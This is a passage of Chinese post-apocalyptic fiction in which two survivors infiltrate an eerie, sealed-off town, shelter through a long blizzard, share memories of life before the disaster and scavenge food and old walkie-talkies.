“巡逻间隙大约十五分钟。东北角那个坍塌的围墙缺口,是它们视野的盲区,也是唯一没被刻意堵塞的入口。”他放下望远镜,声音因缺乏睡眠而有些沙哑,但条理清晰得不容置疑,“趁着下一次巡逻队过去,我们穿过去。进去后,直接右拐,进那条窄巷,避开主街。” 沈悬衡点了点头,将最后一点行李整理妥当,绳索捆扎得一丝不苟。 她看了一眼陆昭妄眼底的微青,没说什么,只是将水壶默默递了过去。他顿了一下,接过,仰头灌了一大口,冰凉的液体似乎让他精神稍振。 时机到来,两人如同离弦之箭,从岩石后闪出,利用地面上一切可能的遮蔽——枯死的树桩、倾斜的矮墙、地面自然的凹陷,压低身体,以最快的速度冲向那道坍塌的围墙缺口。 脚下是冻得坚硬的泥土和碎石,每一次踩踏都发出轻微却在此刻被无限放大的声响,敲打着紧绷的神经。 直到他们的身影彻底没入缺口另一侧建筑物投下的阴影中,远处山脊上,修长的巡逻黑影才如期出现,沿着既定的路线无声滑过,对脚下的入侵毫无察觉。 踏入小镇的瞬间,那股如同实质的、厚重的寂静便包裹了上来,沉甸甸地压在肩头。 外界的风声、远处偶尔传来的异响仿佛被一道无形的墙隔绝,骤然减弱到近乎消失,只剩下自己心脏在耳膜旁沉闷而急促的鼓噪,以及血液流动的细微嗡鸣。 街道空荡,路面龟裂,却异常“干净”,没有散落的垃圾,没有废弃的家具,甚至连大点的石块都看不到,只有一层均匀的、厚厚的尘土,覆盖着一切。 房屋低矮,窗户大多完好,却积满了经年累月的污垢,无法窥视内里。 陆昭妄的视线如同探针,快速而锐利地扫过环境,最终定格在最近的一栋房屋的门窗上。 那扇门的金属把手已经锈蚀,但更引人注目的,是几根粗重的、从外部钉死的木板,交叉着封死了入口,木板上还残留着清晰的锤击凹痕。 旁边的窗户也同样被从外面用木条粗暴地钉死,封得严严实实。 “……看来这里的‘房东’,不太喜欢房客随便出门。”他压低声音,语气带着冰冷的嘲弄,目光却愈发凝重。 这绝非正常的废弃,更像是一场有预谋的封锁。 沈悬衡的目光则越过那些木板,落在门框与墙壁的连接处,那里残留着一些深色的、喷溅状的污渍,早已干涸发黑,与灰尘和剥落的墙皮混在一起,形态令人不安。 她的指尖无意识地微微蜷缩了一下,一种混合着职业性判断和本能不适的感觉掠过心头。 “走。”陆昭妄没有在多停留一秒,打了个简洁干脆的手势,按照既定路线,如同融入背景的阴影,贴着墙根,向那条预先观察好的、仿佛能吞噬光线的窄巷移动过去。 窄巷阴暗潮湿,两侧墙壁上的苔藓却呈现出一种不健康的灰绿色,像是被什么不干净的东西浸泡过。 空气里那股混合着尘土与陈腐的气味更加浓重,还隐约夹杂着一丝若有若无的、类似消毒水过期后的酸涩味。 陆昭妄在前,每一步都落在阴影里,沈悬衡断后,目光如同精确的扫描仪,扫过巷子里每一扇同样被从外部钉死的后门和小窗,以及门框边缘那些早已干涸的、颜色可疑的污渍。 他们在一栋看起来像是集体宿舍的三层楼房前停下。 这栋楼的外墙斑驳得如同患有皮肤病,但整体的混凝土结构看起来还算完整,像是个能扛住风雪的老乌龟壳。 入口处的门同样被粗木条封死,但旁边一扇位于视线死角的窄窗,木条有些松动,边缘有被风雨侵蚀的痕迹。 “就这里。” 陆昭妄压低声音,示意沈悬衡警戒后方,自己则从背包侧袋抽出一把多功能工具钳,熟练地撬动那些已经有些腐朽的木条。 他的动作又快又轻,钳口咬合木纤维时只发出极其细微的“吱嘎”声,像是怕惊醒了这栋楼里沉睡的什么东西。 几分钟后,足够一人通过的缝隙被撬开,一股更加浓烈的、仿佛积攒了数十年的霉味混合着消毒水残留的刺鼻气味,如同实体般扑面而来。 陆昭妄屏住呼吸,率先侧身,像一道影子般钻了进去,沈悬衡紧随其后,动作轻捷得如同猫科动物。 室内光线昏暗,仅有尘埃在从破窗透进的微光中舞动。 积尘很厚,踩上去能留下清晰的脚印,但出乎意料地“整齐”。 门厅里摆放着几排金属长椅,冰冷且毫无装饰,墙上还挂着模糊不清的标识牌,只能勉强辨认出箭头和房间区域的编号。 两侧是长长的走廊,延伸进深处的黑暗,一间间房门紧闭,门上都带着冰冷的金属编号牌,像是某种标准化管理的产物。 陆昭妄试着推了搡最近的一扇标着“104”的门,门纹丝不动,只有锁舌卡死的沉闷声响。 “锁着的。”他凑近门锁看了看,那是一种结构简单的弹子锁,但锁孔周围有明显的磨损,“也是从外面锁的,而且锁得很频繁。” 他们选择了一间虚掩着门的房间——似乎是楼层末端的储物室。 里面堆放着一些蒙尘的床单、毛巾,都是统一的、毫无个性的灰白色,质地粗糙得像砂纸。 沈悬衡拿起一条毛巾,抖落灰尘,在边缘处发现了一个模糊的、用褪色墨水印制的编号:B-107。 她用手指捻了捻布料,又凑近闻了一下,只有尘土和霉味,但那种过于统一的规整感让她不适。 “不像普通居民楼。”她轻声说,声音在空旷的房间里产生微弱的回音。 陆昭妄没说话,走到房间角落,用还戴着手套的手抹了一下锈迹斑斑的暖气片,指尖立刻沾满了黑灰和剥落的锈屑。 “管道是锈死了,冬天别指望。但这楼主体是混凝土的,还算结实,窗户封死的话,扛过风雪应该没问题。”他环顾四周,目光落在天花板角落一个破损的、看起来像是老式烟雾探测器的东西上,“就是这‘装修风格’,挺有复古监狱范儿的。” 他们又小心翼翼地上到二楼,检查了几个房间。 布局一模一样,狭小、简洁得令人压抑,除了铁架床和一个小柜子外几乎没有多余家具,仿佛住在这里的人不需要任何私人物品。 在一个标着“208”的房间里,陆昭妄在床底缝隙深处,用刀尖挑出来半本被撕毁的日志,纸张脆弱发黄,上面只有零星能辨认的字句: 「……第三次同步……头痛欲裂……看见光了……必须服从……」。 他将那残页捏在手里,眉头紧锁。 沈悬衡则注意到窗台内侧,靠近墙壁的角落里,有一片已经干涸发黑、像是被反复擦拭过却未能完全清除的粘稠污渍。它的形状不规则,边缘浸润进了墙皮里。 她用随身携带的薄金属片轻轻刮了一点下来,在指尖捻开,除了灰尘,还有一种难以分辨的、暗红色的结晶颗粒。 退出宿舍楼,他们又探查了附近一栋类似社区中心的建筑。 大厅空旷得能听到自己的心跳回声,墙壁上残留着大幅标语的痕迹,只能勉强认出“……为了……现世……荣光……”之类的字眼,字体方正而充满压迫感。 食堂的后厨,大型灶具还在,但所有橱柜都被暴力撬开,里面空空如也,只有角落里散落着几个印有相同编号的搪瓷碗,碗底还粘着些许风化的食物残渣。 “看来这儿的‘物业’服务水平挺高,”陆昭妄踢了踢一个滚到脚边的空荡荡的罐头盒,发出哐当一声轻响,在这死寂中格外刺耳,“就是服务对象都没了,连点剩饭都没给咱们留。” 他习惯性地想加个语气词加强讽刺效果,话到嘴边,余光瞥见沈悬衡正平静地看着他,到嘴边的那个词在舌尖转了个圈,又硬生生咽了回去,只留下一个略显生硬的停顿。 沈悬衡没有理会他这戛然而止的黑色幽默。她的目光越过空旷的食堂,落在角落一扇紧闭的、与其他门风格迥异的厚重铁门上。 那扇门看起来格外坚固,门轴锈蚀,但门把手和锁孔周围却被磨得异常光亮,像是近期被人频繁触碰或检查过。更引人注意的是,门缝下方,隐约能看到里面似乎堆砌着什么东西,严严实实地将门从内部堵死了。 她指向那扇门,没有说话。 陆昭妄顺着她的指引看去,眼神微凝,那扇门与他之前看到的、从外部封锁的门形成了诡异的对比。 “走吧,”他收回目光,语气恢复了之前的审慎,下意识想评价一句,再次强行刹住,只是干巴巴地说,“去下一个点。这地方……比我想的还邪门。” 离开社区中心,两人沿着小镇边缘移动,刻意避开了中心区域。 越是靠近小镇外围,那种被无形之物注视的感觉就越发明显。 远处山脊线上,“秩序行者”的身影如同钟表指针般规律地移动,它们的活动范围似乎被严格限定在那条边界线上,绝不踏足小镇内部一步,仿佛有一道看不见的墙将内外分隔。 他们的目标是那栋在小镇外围也能看到的、最为坚固的核心建筑——一座四四方方、窗口狭小、墙体由厚重混凝土浇筑而成的方块状楼房,与其说是行政楼,更像是一座小型堡垒。 它独自矗立在一片清理出的空地上,周围没有任何其他建筑遮挡,视野极佳,也意味着极难悄无声息地接近。 两人潜伏在距离核心建筑约百米外的一处废弃仓库的阴影里。 陆昭妄再次举起望远镜,仔细观察。建筑的入口是两扇厚重的金属门,此刻紧闭着,门上看不到任何锁孔,似乎是电子控制,但如今早已断电。 门旁墙体上有明显的爆炸和撞击痕迹,但未能撼动主体分毫。更引人注目的是,建筑四周的墙壁上,布满了纵横交错的、如同爪痕般的深刻划痕,有些地方甚至露出了内部的钢筋,显然曾经遭受过极其猛烈的攻击。 “看来想进去的,不止我们。”陆昭妄低声说,将望远镜递给沈悬衡,“门是特制的,硬闯估计没戏。墙上的痕迹……不像是人类武器留下的。” 沈悬衡接过望远镜,却没有立刻举起来。 她的目光先是缓缓扫过建筑周围的空地。 那里异常“干净”,没有散落的碎石,没有疯长的变异植物,甚至连积雪都比别处更薄、更均匀,仿佛被某种规律性的力量定期清扫过。 然后,她的视线定格在那些墙壁上的深刻划痕上。 她看得极其仔细,不仅仅是看划痕本身,更是在看划痕边缘的崩裂状、看它们交织的角度和深度。 “这些痕迹……”她轻声开口,像是自言自语,又像是在对陆昭妄说,“大部分是自上而下,或者斜向撕裂。力道极大,而且…很‘专注’。”她指了指几处特别深的凹坑,“看这里,反复攻击同一个点的痕迹非常明显,不像是漫无目的的破坏,更像是…试图凿穿或者撬开什么。” 她终于举起望远镜,调整焦距,仔细审视那些爪痕的细节以及感知那些似有若无的能量波动。 “痕迹边缘非常光滑,几乎没有毛刺,像是被极高硬度或者带有能量侵蚀效果的东西瞬间划过。而且,”她顿了顿,语气愈发凝重,“所有痕迹,无论新旧,都完美地避开了建筑所有的窗口和疑似通风口的位置。这不是疯狂的攻击,这更像是一种…有明确目的的‘突破尝试’,并且,攻击者被某种规则约束着,不能损坏这些特定结构。” 她放下望远镜,看向陆昭妄,眸子里带着一丝基于事实推断出的惊疑。 “怎么样?”陆昭妄问,注意到她神色的变化。 “那栋楼里……有东西。”沈悬衡的声音压得极低,仿佛怕被那东西听见,“一种……非常稳定,但又非常冰冷的能量残留。不像外界的数据风暴那样混乱狂暴,它……太有序了,有序得让人不舒服。”她顿了顿,寻找着合适的词汇,“就像……一个精密运行,但早已空无一物的机器核心。” 这种感知让她脊背发凉。外界的混乱至少是“活”的,而那里的死寂秩序,更像是一种冰冷的、毫无生机的“存在”。 陆昭妄闻言,脸色也更加凝重。“能量源?还能运行?”他立刻想到了最坏的可能性,“是这东西在吸引,或者……控制外面那些‘秩序行者’?” “不确定。”沈悬衡摇头,“能量很微弱,更像是残余。但那种‘秩序’的感觉,和外面那些东西的行为模式……很像。” 她都感觉到了,那么作为被“秩序”排斥的混乱象征的陆昭妄,感觉只会更糟。 陆昭妄下意识地揉了揉额角,仿佛那里真的开始隐隐作痛。 “妈的,这鬼地方……”他低声咒骂了一句,随即像是想起了什么,瞥了沈悬衡一眼,后面更难听的话咽了回去,只是烦躁地啧了一声,“……真会给人找不自在。” 沉默在两人之间蔓延。眼前的核心建筑如同一个巨大的谜团,散发着危险的气息,却又可能藏着解开一切的关键。但强行突破的风险显而易见。 “暂时动不了它。”陆昭妄最终做出了决断,语气带着不甘,却异常清醒,“我们人手不够,信息不足,硬啃这块骨头,容易把牙崩了。”他指了指身后他们来时的方向,“先在边缘找个地方安顿下来,把这冬天熬过去再说。这地方……至少能挡风。” 沈悬衡点了点头,认同他的判断。 未知的能量源,封闭的建筑,外部巡逻的怪物,这一切都指向此地潜藏着巨大的危险。 严冬将至,生存才是第一要务。 陆昭妄最后看了一眼那栋沉默的核心建筑,眼神锐利,仿佛要将它的样子刻进脑子里。 “行了,房东先生,”他扯了扯嘴角,拉起外套的兜帽,转身融入阴影,“我们这就算……住下了。希望你准备的‘惊喜’,别太热情。” 他们最终选定的据点,是小镇东南角一栋距离核心建筑最远、与其他房屋略有间隔的二层小楼。 这里视野相对开阔,能观察到小镇入口和部分街道,背后靠着小镇的边界栅栏,必要时也算多一条退路。 小楼的门同样被木板钉死,但陆昭妄如法炮制,从一扇侧窗悄无声息地潜入,再从内部打开了门锁。 室内弥漫着同样的灰尘和霉味,但结构确实如陆昭妄所料,足够坚固。 他们选择了二楼一个带窗、便于观察的房间,迅速开始布置。 动作默契,无需多言:沈悬衡清理出相对干净的区域,检查房间角落和通风口;陆昭妄则用找到的旧家具和剩余的木条,快速加固门窗,只留下一个隐蔽的观察缝隙。 就在他们将最后一点行李搬进室内,刚卸下肩上沉重的背包时,窗外原本灰暗的天光,以一种肉眼可见的速度迅速沉了下去,仿佛有人拉下了世界的灯闸。 紧接着,不是雨点,而是大片大片的、如同鹅毛般的雪絮,毫无征兆地、密集地砸落下来,伴随着骤然呼啸起来的、如同鬼哭般的北风。 气温在短短十几分钟内断崖式下跌,从刺骨的寒冷直接跌入彻骨的冰寒,窗玻璃上迅速凝结起一层白霜。 “操……”陆昭妄看着窗外瞬间变成白茫茫一片的世界,低骂了一声,这次他没再刻意收敛,“这鬼天气,还真是说到就到。”他快步走到窗边,透过缝隙仔细观察了一下,雪势极大,能见度已经降至极低,远处的景物完全消失在一片混沌的白色之中。“也好,这雪一下,外面那些东西的活动估计也得受影响。” 沈悬衡默默将刚才在小镇搜集到的、所有能御寒的东西——几条粗糙但厚实的旧毯子,几件看似制服、材质厚实的旧外套——铺在清理出来的地面上——陆昭妄之前跟她抱怨过睡袋太硬,想要点柔软的床垫子,构筑了一个简单的休息区。 她又拿出所剩无几的净水和高能量食物,分成两份。 两人靠着墙壁坐下,分食着简单到可怜的晚餐。 房间内没有生火,寒意如 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“嗯,”陆昭妄点头,“一个被废弃的、藏着秘密的设施。危险在外面,谜团在里面。对我们来说,目前这里是唯一能挡住风雪的地方。”他顿了顿,看向她,“等冬天过去,两条路。一是继续北上,按原计划找‘伊甸园’;二是留下来,想办法撬开那栋核心建筑的嘴。你怎么想?” 沈悬衡沉默片刻,窗外风雪声更显喧嚣。“‘伊甸园’是希望,但遥远。这里的秘密是现实,而且……可能与这个世界的‘病变’直接相关。”她抬起眼,“我认为,在离开前,有必要尽可能弄清这里的真相。至少,要知道我们脚下到底踩着什么样的过去。” “同意。”陆昭妄扯了扯嘴角,“风险与收益并存。万一里面藏着能让我们在这鬼世道活得更容易点的东西呢?”他话锋一转,带着点戏谑,“不过,在这之前,我们得先保证别冻死在这个‘五星级样板间’里。” 正事暂告段落,房间内陷入短暂的沉默,只有风雪咆哮。 陆昭妄忽然没头没尾地问了一句:“喂,你以前是干什么的?我是指……灾难前。”他语气随意,像是为了打发这难熬的寂静。 沈悬衡愣了一下,似乎没料到他会问这个。她低下头,看着自己即使布满薄茧也依旧能看出曾经精心保养过的手指,轻声回答:“医生。外科。” “呵,”陆昭妄短促地笑了一声,“怪不得。”不知是指她救人的习惯,还是那份过于冷静的观察力。“我呢,”他主动接上,语气带着一种故作轻松的自嘲,“勉强算是个……搞技术的。专门给各种‘系统’找麻烦,或者说,‘优化’它们。” 他省略了具体细节,但话语间透出的那股子撬动规则、发现漏洞的得意劲儿,依稀可见。 “家人呢?”沈悬衡轻声问,问完便有些后悔,这在末世太过冒昧。 陆昭妄脸上的那点轻松瞬间消失了,他转过头看向窗外白茫茫的一片,侧脸线条显得有些冷硬。“没了。”他吐出两个字,再无下文。 沈悬衡沉默着,也望向窗外。“我还有个妹妹,”她声音很轻,仿佛会被风雪吹散,“灾难发生时,她在另一个城市读大学。我……没能找到她。” 这是她第一次主动提及如此私人的过去。 陆昭妄闻言,转过头看了她一眼,眼神里有什么东西闪动了一下,最终只是“嗯”了一声。过了一会儿,他才用一种极其含糊、几乎听不清的音量嘟囔了一句:“……都一样。” 长久的沉默再次降临,但这一次,似乎不再那么冰冷刺骨。 窗外的风雪声成了唯一的背景音。 陆昭妄依旧望着窗外,手指无意识地在窗台的积灰上划拉着什么,忽然没头没尾地开口,打破了沉寂:“我大学那会儿,有个傻子室友,非要在宿舍养蜥蜴。结果那玩意儿半夜越狱,爬到了对门哲学系那哥们的床上。”他嗤笑一声,“你是没看见,第二天早上那哥们抱着被子,顶着一头乱毛,站在走廊里跟我们讨论了一早上‘存在与虚无’,就因为他觉得那冰凉的触感是他冥想时产生的幻觉。” 沈悬衡原本闭着眼,闻言唇角微微弯了一下。 她没有睁眼,声音带着一丝疲惫的慵懒:“我们医院实习的时候,轮转到儿科。有个小男孩,术前紧张得不行,我告诉他,等他睡一觉醒来,就能得到一枚‘勇敢者勋章’——其实就是用绷带在他手臂上打了个歪歪扭扭的蝴蝶结。”她顿了顿,“后来他出院的时候,死活不肯拆,说那是他见过最酷的纹身。” “哈,”陆昭妄短促地笑了一声,“哄小孩你倒是在行。”他顿了顿,像是想起了什么,“我那时候可不怎么招小孩待见。以前亲戚家的小孩来,把我拼了半个月的乐高星际飞船给拆了,还理直气壮地说是在帮它‘优化结构,方便登陆’。气得我差点当场给他演示一下什么叫‘结构性解体’。” “后来呢?” “后来?”陆昭妄挑眉,“我当着他爸妈的面,用那堆零件花了十分钟拼了辆丑得要死的坦克,那小子看得眼睛都直了,从此见了我都喊‘哥’,再也不碰我东西。”语气里带着点久违的、技术碾压式的得意。 沈悬衡轻轻笑了声,这笑声在风雪声中几乎微不可闻。 “我妹妹小时候也这样,调皮。她偷偷用我的口红在墙上画画,被发现了,就眨着眼睛说是在给墙壁‘注入灵魂’。”她的声音里带着清晰的怀念,以及一丝不易察觉的落寞。 话题似乎又要滑向沉重的回忆。 陆昭妄立刻生硬地扭转了方向,带着点他特有的、不愿沉溺于感性的别扭:“说起来,你这种……嗯,性格,以前朋友不少吧?就是那种能一起逛街、聊八卦、互相安利口红色号的?”他试图想象了一下那个场景,觉得有点难以描绘。 沈悬衡沉默了几秒。 “还好。”她回答得有些模糊,“能聊得来的不多。大部分时间都在医院,值班,手术,写病历。休息时……更愿意一个人待着,看看书,或者只是发呆。” 她本质上并非热衷于广泛社交的人,她的能量更多用于内省和深度共情。 “理解。”陆昭妄这次倒是没讽刺,反而有点感同身受,“我以前线上能跟人吵三天三夜代码规范,线下聚会能缩在角落用手机跟机器人下棋。要不是为了……”他顿了顿,没说完,转而说道,“反正,人多的地方,信息熵太高,吵得脑子疼。” “信息熵?” “就是……乱七八糟的无效信息太多,影响判断。”他随口解释,然后像是终于找到了一个可以大肆吐槽的点,“尤其是团建!简直是反人类的设计!一群人被迫聚在一起玩弱智游戏,还要假装很开心。有一次,我们那个项目经理,非要搞什么‘信任背摔’,我直接跟他说,以你的体重和我对你核心力量的评估,这动作的失败概率超过百分之四十,建议取消。” 沈悬衡可以想象那个场景,以及那位项目经理的脸色。“然后呢?” “然后我就被强制参加了下一期的‘团队协作与沟通技巧’培训。”陆昭妄语气悻悻,“我在培训课上用逻辑驳倒了讲师的三个核心案例,最后他求我别再去了。” 这次,沈悬衡终于忍不住,低低地笑出了声,虽然很快止住,但肩膀微微颤动了一下。 陆昭妄听着她那几乎消散在风里的笑声,看着窗外依旧肆虐的雪,自己也觉得有点莫名其妙。他怎么会跟她说这些陈谷子烂芝麻的破事?还他妈有点……乐在其中? 他猛地打住,像是要掩盖这瞬间的松懈,粗声粗气地结束了这场突如其来的“忆往昔”:“行了,陈年老账翻起来没完。你先睡,保存体力。”他重新将注意力完全集中在窗外白茫茫的雪幕上,仿佛刚才那个话多的人不是他。 沈悬衡也收敛了笑意,轻轻“嗯”了一声,重新裹紧毯子,闭上了眼睛。 房间里再次安静下来。 但空气里,似乎有什么东西不一样了。那些关于蜥蜴、蝴蝶结、乐高坦克和团建吐槽的碎片,像一点点微弱的星火,暂时驱散了末世严寒与沉重过往带来的阴霾,在他们之间勾勒出一幅短暂却真实的、属于“正常人”的过往图景。 应急灯的光芒依旧微弱,风雪依旧咆哮。 一边是重新归于沉默守望的剪影,另一边是呼吸逐渐变得绵长均匀的同伴。在这片被冰雪封印的死寂世界里,两个孤独的灵魂,因为这场毫无目的、想到哪说到哪的闲聊,似乎靠拢了微不足道,却切实存在的一小步。 15. 该出门捡破烂了 持续了整整两个多月的暴风雪,终于在某天清晨,露出了它罕见的、近乎仁慈的疲态。 风声不再是那种永无止境的、能把人逼疯的尖啸,而是变成了低沉的、断断续续的呜咽。 窗外,不再是密不透风的、能将一切吞噬的白幕,取而代之的是一片被厚重积雪覆盖的、死寂的银色世界,以及一片冰冷但异常清晰的、洗过的灰蓝色天空。 阳光有气无力地洒下来,在雪地上反射出刺眼的光,却带不来丝毫暖意,只有一种近乎残酷的明亮。 临时藏身处内,沈悬衡将最后半块压缩饼干仔细地掰成不均匀的两半,将明显更大的那块递给正对着窗外眯眼打量天空的陆昭妄。 “库存清点完毕。”她的声音在难得的安静环境中显得格外清晰,“按最低消耗,最多还能维持四周。” 陆昭妄接过饼干,没立刻吃,在指尖转了转,像是在掂量这最后口粮的重量。他回过头,嘴角扯出一个没什么笑意的弧度:“好消息是,这见鬼的雪总算停了。坏消息是,咱们的‘房东’显然不包伙食。” 他走到被积雪封住大半的窗缝前,用手指小心翼翼地抹开一小块区域,仔细观察着外面的云层和积雪表面凝结的冰壳。 “风从东南来,带着点湿气,但云层走得快。这雪壳硬度不错……”他像是在自言自语,又像是在对沈悬衡分析,“看样子,这鬼天气能给我们放个小长假,至少大半个月。” 他转过身,目光落在角落里那点可怜的物资上,眼神里没了平时的戏谑,只剩下纯粹的、计算利弊的锐利。 “不能干等。得出去找吃的,喝的,一切能用的。”他语速不快,但每个字都带着不容置疑的分量,“我负责外围搜索,由近及远。你留守,看好家,顺便把外面那些‘保安’的巡逻规律摸透。”他指了指远处山脊线上若隐若现的“秩序行者”黑影。 理由充分,分工明确。 沈悬衡没有异议,只是点了点头,将水壶推到他手边:“安全第一。” 行动计划就此定下。首要任务,是清理出一条通路。 两人拿起能找到的一切能当铲子用的东西——一块扭曲的金属板,半扇破旧的柜门,开始对着门口堆积如山的积雪奋战。 这活儿枯燥又极其耗费体力,冻得硬邦邦的雪块需要用力反复凿击才能松动。 冰冷的空气吸入肺中,带着一股清爽的刺痛感。 陆昭妄一边用力撬着一大块冰坨,一边头也不回地开口,声音因用力而有些发紧:“我说,这算不算是末日特供版的……晨间健身?” 沈悬衡正将铲下的雪块推到一旁,闻言动作不停,平静地回答:“性价比很高,既能锻炼,又能开路。” 陆昭妄嗤笑一声,终于把那块顽固的冰坨撬开,滚到一边。 “可不是,还附赠天然冰敷,预防肌肉拉伤。就是教练有点……嗯,过于严肃了。”他意有所指地瞥了沈悬衡一眼。 沈悬衡将下一铲雪稳稳地扬到堆砌的雪墙之上,头也不抬,声音依旧平稳:“根据你的恢复情况看,这位‘教练’的教学效果显著,至少没让你旧伤复发。” 陆昭妄挑眉,刚想回嘴,目光落在她因劳作而微微泛红的脸颊和呼出的清晰白气上,到嘴边的话转了个弯,变成了带着点无可奈何的认输:“……行,你专业,你说了算。” 沉重的呼吸声和雪块落地的闷响,继续成为这雪后清晨的基调。 陆昭妄直起腰,抹了把溅到脸上的冰碴,回头望了望那条勉强成型的小径。 “行了,‘星光大道’铺好了,”他喘了口气,拍了拍手套上的雪,“接下来,就该去挨家挨户收‘物业费’了。” 小径的尽头,是未知,也是希望——至少是能多活几天的希望。 陆昭妄站在小径尽头,最后一次紧了紧背包带,那里面装着工具、武器,和两人大部分的食物储备。 他没回头,只是抬手向后摆了摆,算是打过招呼,身影便灵巧地没入前方倒塌围墙投下的阴影里,很快消失不见。 沈悬衡站在藏身处门口,目送他消失。她没有立刻退回屋内,而是仔细地将他们铲雪和活动的痕迹做了处理,用积雪覆盖、用断枝扫平,让藏身处入口附近看起来与周围无人踏足的雪原无异。 做完这一切,她才转身回到屋内,挪到另一处更为隐蔽的观察点,拿出之前搜集到的一个皮质封面略有破损的笔记本和半截铅笔,开始系统地记录远处山脊线上那些“秩序行者”的移动轨迹、时间间隔,以及任何可能被忽略的细节。 与此同时,陆昭妄正以一种近乎融入环境的方式在死寂的小镇里移动。 他的脚步放得极轻,每一次落脚都刻意选择在积雪较浅或有杂物遮蔽的地方。每走过一段距离,他都会停下来,侧耳倾听片刻,然后或用脚,或随手捡起一根断枝,小心翼翼地将自己留下的脚印抹去、扫乱,或是伪装成风吹过的自然痕迹。 “跟做贼似的……”他低声咕哝了一句,语气里听不出是自嘲还是觉得这流程本身就很滑稽。 他的目标明确,就是离藏身处最近的那几栋看起来像是民居或小型商铺的建筑。 第一栋,厚重的金属门被粗大的木条从外部交叉钉死,木料与金属连接处锈死,冻得结实,强行破开动静太大。 “防贼呢这是?不对,这像是防里面什么东西出来……”他撇撇嘴,放弃得干脆利落。 第二栋,窗户倒是破了,但里面除了厚厚的积雪和几件冻得硬邦邦、一碰就碎的破烂家具,一无所有。 他像只挑剔的猎食者,快速扫视一圈,确认没有价值后便退了出来,顺手将窗沿上自己触碰过的痕迹抹掉。 直到靠近第三栋,一个门脸低矮、招牌早已掉落摔得粉碎的小铺面,他才眼神微动。门是虚掩着的,被积雪顶住,只留一条缝。 他没有立刻进去,而是耐心地绕着建筑外围观察了一圈,确认所有窗户完好但被封死,屋顶结构也算稳定,没有明显的危险气息或声音传出。 然后,他才回到门口,用脚轻轻踢开积雪,侧身,用金属水管顶开门,等待了几秒,确认没有异响或陷阱后,才灵巧地闪身进去。 里面空间不大,货架东倒西歪,地上散落着空包装袋和碎玻璃。 一股陈腐的气味扑面而来。他目光锐利地扫过,很快锁定在角落里一个半开的、锈迹斑斑的铁柜。 撬开柜门,里面大多是些无用的文件纸张,受潮腐烂得一塌糊涂。 但在柜子最底层,他的手触到了一个坚硬的、方正的物体。 他掏出来一看,是一个老旧的塑料盒子,里面赫然躺着两架黑色的、带着可伸缩天线的模拟对讲机。 “哟呵?”陆昭妄挑了挑眉,拿起一个,擦掉灰尘,掰开电池仓。里面腐蚀严重,电池液干涸,粘稠地糊在接触点上。 “看来得做个大手术。”他嘴上这么说,却立刻开始在柜台、抽屉里翻找起来,希望能找到配套的充电器或者备用电池——不仅是为了这对讲机,他们手头偶尔能找到的、尚能使用的数字设备或小工具,也可能用得上这类能源。 可惜,除了几节同样锈蚀的普通电池,一无所获。 他略感遗憾,但还是利索地将对讲机和那几节废电池都塞进了背包内侧。这玩意儿要是能修好,在这鬼地方可比多找到两包饼干有用。 就在他准备继续搜索时,眼角余光瞥见柜台角落,半张被冻住的纸片吸引了他的注意。纸片大部分被污渍覆盖,只能勉强辨认出几个断裂的词组: 「……阈值为……稳定……」、「样本K7……」。 他随手将纸片塞进口袋,没太在意,这种语焉不详的碎片,他见得多了。 搜寻继续。 他在货架底层又找到两罐标识模糊的豆子罐头,虽然罐身有些凹陷,但没有破损漏气的迹象。算是今天最大的实质性收获。 临近傍晚,天色开始暗沉下来,风也带上了明显的寒意。 陆昭妄知道该回去了。 他沿着原路返回,再次仔细地处理掉自己留下的痕迹。 在接近藏身处的那片区域时,他敏锐地注意到,在一处背风的断墙下,积雪上有几道模糊的、非人类的足迹,像是某种大型犬科动物留下的,但步幅略显奇特,带着一种训练有素的韵律感。 更奇怪的是,这足迹延伸了几米后,就在一片硬地上突兀地消失了,周围没有任何挣扎或继续前行的痕迹。 陆昭妄蹲下身,用手指丈量了一下爪印的尺寸和深度,眉头微蹙。 “看来还有别的‘邻居’也在趁雪停出来遛弯啊……”他低声自语,眼神里多了几分警惕。 他没有多做停留,迅速而彻底地清理掉自己以及那串诡异足迹的残留,如同幽灵般悄无声息地滑回了藏身处所在的那条小径。 当他推开伪装好的入口,带着一身寒气钻进去时,沈悬衡正就着应急灯微弱的光芒,在笔记本上标注着什么。 她抬起头,看向他。 陆昭妄把背包卸下来,发出沉闷的声响。他先掏出那两罐豆子罐头,放在地上,发出“哐当”两声。 “今日收获,‘豪华午餐肉’……的远方亲戚,水煮豆子。”他语气没什么起伏地汇报。 然后,他拿出那两台对讲机,放在罐头旁边。 “通讯设备,古董级,需要抢救性修复。” 最后,他拍了拍身上的灰,随口补充道:“另外,外面可能有‘狗’,品种不明,习惯挺好,知道擦屁股。” 沈悬衡的视线先落在那两罐豆子上,点了点头,算是认可这份实实在在的收获。 然后她的目光转向那对布满灰尘的对讲机,最后才重新回到陆昭妄脸上,语气平和:“‘狗’的痕迹,具体什么样?” 陆昭妄正弯腰拍打着裤腿上的雪屑,闻言动作没停,语速却快而清晰:“爪印比狼大,步幅均匀得有点刻意,像是在执行巡逻。最怪的是,痕迹在一处硬地突然断了,周围处理得很干净,不像自然消失。”他直起身,扯了扯嘴角,“要么是成了精,要么就是有主儿的。” 沈悬衡若有所思,在笔记本上快速记了几笔,没有发表更多评论,但眼神里多了份了然与警惕。 她将笔记本往他面前推了推,上面是她记录的“秩序行者”巡逻时间规律图,间隔精确得令人发指。 “看来这里的‘规则’很严格。”她简单说道。 陆昭妄扫了一眼,哼了一声:“内外分明,各司其职。挺好,至少暂时不用操心它们会进来串门。”他拿起一个对讲机,就着灯光仔细检查腐蚀的电池仓,眉头微蹙,“这东西,得想办法把触点清理干净,看看内部电路有没有烧毁。麻烦。” 话是这么说,他已经从背包侧袋里掏出了一个小皮卷,展开是一套简易但专业的维修工具,包括镊子、小螺丝刀和一小块研磨砂纸。 他不再说话,低头开始专注地拆卸对讲机的外壳,动作精细得与他之前撬门拆锁时的粗暴截然不同。 沈悬衡也没打扰他,默默将罐头收好,又拿出他们共用的水壶,倒了些热水递到他手边不远不近的位置。 然后她坐在对面,拿起之前找到的一点干燥的、不知名的草茎,尝试编织加固一副破损的手套,算是另一 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“是啊,至少能听听附近的‘天气预报’,或者……某些‘邻居’的动静。”陆昭妄说着,又开始动手改造,语气随意地换了个话题,“说起来,你以前在医院,也这么……嗯,坐得住?”他找不到更合适的词来形容她这种近乎定力的沉静。 沈悬衡重新低头编织手套,声音平淡:“手术台上,有时候一站就是十几个小时。习惯了。” 